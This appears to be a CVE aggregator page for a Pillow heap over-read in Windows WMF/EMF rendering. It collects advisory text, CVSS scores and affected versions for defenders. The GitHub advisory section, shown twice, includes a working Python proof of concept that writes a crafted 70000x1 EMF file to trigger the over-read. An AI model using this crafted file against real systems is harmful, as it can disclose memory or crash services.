Every CVE Search/ Get API key

CVE-2026-96644

Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

7.1 HighFix available

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
High

Exploit likelihood

0.38%Up 0.1 points since Oct 22, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Record
CVE-2026-96644
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-125
Updated
2026-11-02
EUVDEUVD-2026-107563 7.1

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Record
EUVD-2026-107563
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-9v9v-9qvf-h2hj 7.1

Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

Summary

On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

Details

The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

  • src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.

In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

  • src/display.c:793-794 assign the 16-bit fields
  • src/display.c:800 sizes the allocation from them
  • src/display.c:827 copies height * ((width * 3 + 3) & -4) bytes using the full values

The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).

PoC

import struct
from PIL import Image

def L(v):
    return struct.pack("<i", v)

# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf  = b"\x01\x00\x00\x00" + L(88)          # record type + size
emf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF"                              # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load()                                   # over-read happens here on a Windows build

On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).

Impact

CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

Record
GHSA-9v9v-9qvf-h2hj
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-125
Updated
2026-11-02
NVD 7.1

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Record
CVE-2026-96644
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
Weakness
CWE-125
Updated
2026-11-02
OSV 7.1

Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Record
CVE-2026-96644
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-125
Updated
2026-11-02
OSVGHSA-9v9v-9qvf-h2hj 7.1

Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

Summary

On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

Details

The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

  • src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.

In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

  • src/display.c:793-794 assign the 16-bit fields
  • src/display.c:800 sizes the allocation from them
  • src/display.c:827 copies height * ((width * 3 + 3) & -4) bytes using the full values

The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).

PoC

import struct
from PIL import Image

def L(v):
    return struct.pack("<i", v)

# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf  = b"\x01\x00\x00\x00" + L(88)          # record type + size
emf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF"                              # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load()                                   # over-read happens here on a Windows build

On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).

Impact

CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

Record
GHSA-9v9v-9qvf-h2hj
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-125
Updated
2026-11-02
Show 9 moreShow less
OSVPYSEC-2026-4343 8.1

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Record
PYSEC-2026-4343
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-96644 7.1

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Record
UBUNTU-CVE-2026-96644
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
Updated
2026-11-04
OSVBIT-pillow-2026-96644 No score

Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.

Record
BIT-pillow-2026-96644
Updated
2026-11-02
OSVCLSA-2026-1792743656 No score

TuxCare security update for pillow (6 CVEs)

TuxCare rebuilt pillow to address 6 CVEs. Fixed in 11.3.0.post9+tuxcare.

Record
CLSA-2026-1792743656
Updated
2026-11-02
OSVCLSA-2026-1792752131 No score

TuxCare security update for pillow (6 CVEs)

TuxCare rebuilt pillow to address 6 CVEs. Fixed in 11.2.1.post11+tuxcare.

Record
CLSA-2026-1792752131
Updated
2026-11-02
OSVCLSA-2026-1793189478 No score

TuxCare security update for pillow (1 CVE)

TuxCare rebuilt pillow to address 1 CVE. Fixed in 10.4.0.post17+tuxcare.

Record
CLSA-2026-1793189478
Updated
2026-11-02
OSVCLSA-2026-1793613016 No score

TuxCare security update for pillow (1 CVE)

TuxCare rebuilt pillow to address 1 CVE. Fixed in 9.5.0.post16+tuxcare.

Record
CLSA-2026-1793613016
Updated
2026-11-02
OSVCLSA-2026-1793701664 No score

TuxCare security update for pillow (1 CVE)

TuxCare rebuilt pillow to address 1 CVE. Fixed in 8.4.0.post14+tuxcare.

Record
CLSA-2026-1793701664
Updated
2026-11-03
OSVROOT-APP-PYPI-CVE-2026-96644 No score

CVE-2026-96644 in pillow - Patched by Root

Root has patched CVE-2026-96644 in the pillow package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-CVE-2026-96644
Updated
2026-11-06

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pillow
PyPI
before 13.0.0
13.0.0
pillow
Bitnami
before 13.0.0
13.0.0
pillow
TuxCare:PyPI
From an advisory covering 6 CVEs
11.3.0 up to 11.3.0.post9+tuxcare, plus listed versions
11.3.0.post1+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare11.3.0.post4+tuxcare11.3.0.post5+tuxcare11.3.0.post6+tuxcare11.3.0.post7+tuxcare11.3.0.post8+tuxcare
11.3.0.post9+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 6 CVEs
11.2.1 up to 11.2.1.post11+tuxcare, plus listed versions
11.2.1.post1+tuxcare11.2.1.post10+tuxcare11.2.1.post2+tuxcare11.2.1.post3+tuxcare11.2.1.post4+tuxcare
Show 5 moreShow less
11.2.1.post5+tuxcare11.2.1.post6+tuxcare11.2.1.post7+tuxcare11.2.1.post8+tuxcare11.2.1.post9+tuxcare
11.2.1.post11+tuxcare
pillow
TuxCare:PyPI
10.4.0 up to 10.4.0.post17+tuxcare, plus listed versions
10.4.0.post1+tuxcare10.4.0.post10+tuxcare10.4.0.post11+tuxcare10.4.0.post12+tuxcare10.4.0.post13+tuxcare
Show 11 moreShow less
10.4.0.post14+tuxcare10.4.0.post15+tuxcare10.4.0.post16+tuxcare10.4.0.post2+tuxcare10.4.0.post3+tuxcare10.4.0.post4+tuxcare10.4.0.post5+tuxcare10.4.0.post6+tuxcare10.4.0.post7+tuxcare10.4.0.post8+tuxcare10.4.0.post9+tuxcare
10.4.0.post17+tuxcare
pillow
TuxCare:PyPI
9.5.0 up to 9.5.0.post16+tuxcare, plus listed versions
9.5.0.post1+tuxcare9.5.0.post10+tuxcare9.5.0.post11+tuxcare9.5.0.post12+tuxcare9.5.0.post13+tuxcare
Show 10 moreShow less
9.5.0.post14+tuxcare9.5.0.post15+tuxcare9.5.0.post2+tuxcare9.5.0.post3+tuxcare9.5.0.post4+tuxcare9.5.0.post5+tuxcare9.5.0.post6+tuxcare9.5.0.post7+tuxcare9.5.0.post8+tuxcare9.5.0.post9+tuxcare
9.5.0.post16+tuxcare
pillow
TuxCare:PyPI
8.4.0 up to 8.4.0.post14+tuxcare, plus listed versions
8.4.0.post1+tuxcare8.4.0.post10+tuxcare8.4.0.post11+tuxcare8.4.0.post12+tuxcare8.4.0.post13+tuxcare
Show 8 moreShow less
8.4.0.post2+tuxcare8.4.0.post3+tuxcare8.4.0.post4+tuxcare8.4.0.post5+tuxcare8.4.0.post6+tuxcare8.4.0.post7+tuxcare8.4.0.post8+tuxcare8.4.0.post9+tuxcare
8.4.0.post14+tuxcare
pillow
PyPI
before 13.0.0, plus listed versions
1.01.11.21.31.4
Show 45 moreShow less
1.51.61.7.01.7.11.7.21.7.31.7.41.7.51.7.61.7.71.7.810.0.010.0.110.1.010.2.010.3.010.4.011.0.011.1.011.2.111.3.012.0.012.1.012.1.112.2.012.3.02.0.02.1.02.2.02.2.12.2.22.3.02.3.12.3.22.4.02.5.02.5.12.5.22.5.32.6.02.6.12.6.22.7.02.8.02.8.1
13.0.0
pillow
Root:PyPI
before 10.4.0+aikido.16
10.4.0+aikido.1610.3.0+aikido.1912.3.0+aikido.410.4.0+aikido.1710.3.0+aikido.209.4.0+aikido.19.0.0+aikido.19.0.0+aikido.211.0.0+aikido.1412.2.0+aikido.99.5.0+aikido.1910.4.0+aikido.18
pillow-python2
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
6.2.1-3~build16.2.1-36.2.1-3ubuntu0.1~esm16.2.1-3ubuntu0.1~esm2
None known

History

History
RecordedChangedSources
affectedOSV
affected
affectedOSV
affectedOSV
affectedOSV
affectedOSV
affected, factsOSV
affected, aliasesOSV
affectedOSV
affectedOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-96644 is a high vulnerability (CVSS 7.1) in Python Pillow, published October 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.38%, the 32nd percentile. Fixed in pillow 13.0.0.

References

Show 4 moreShow less
This page doesn't list everything

Left out here: 57 versions. The JSON record has them.

MoveEnter Open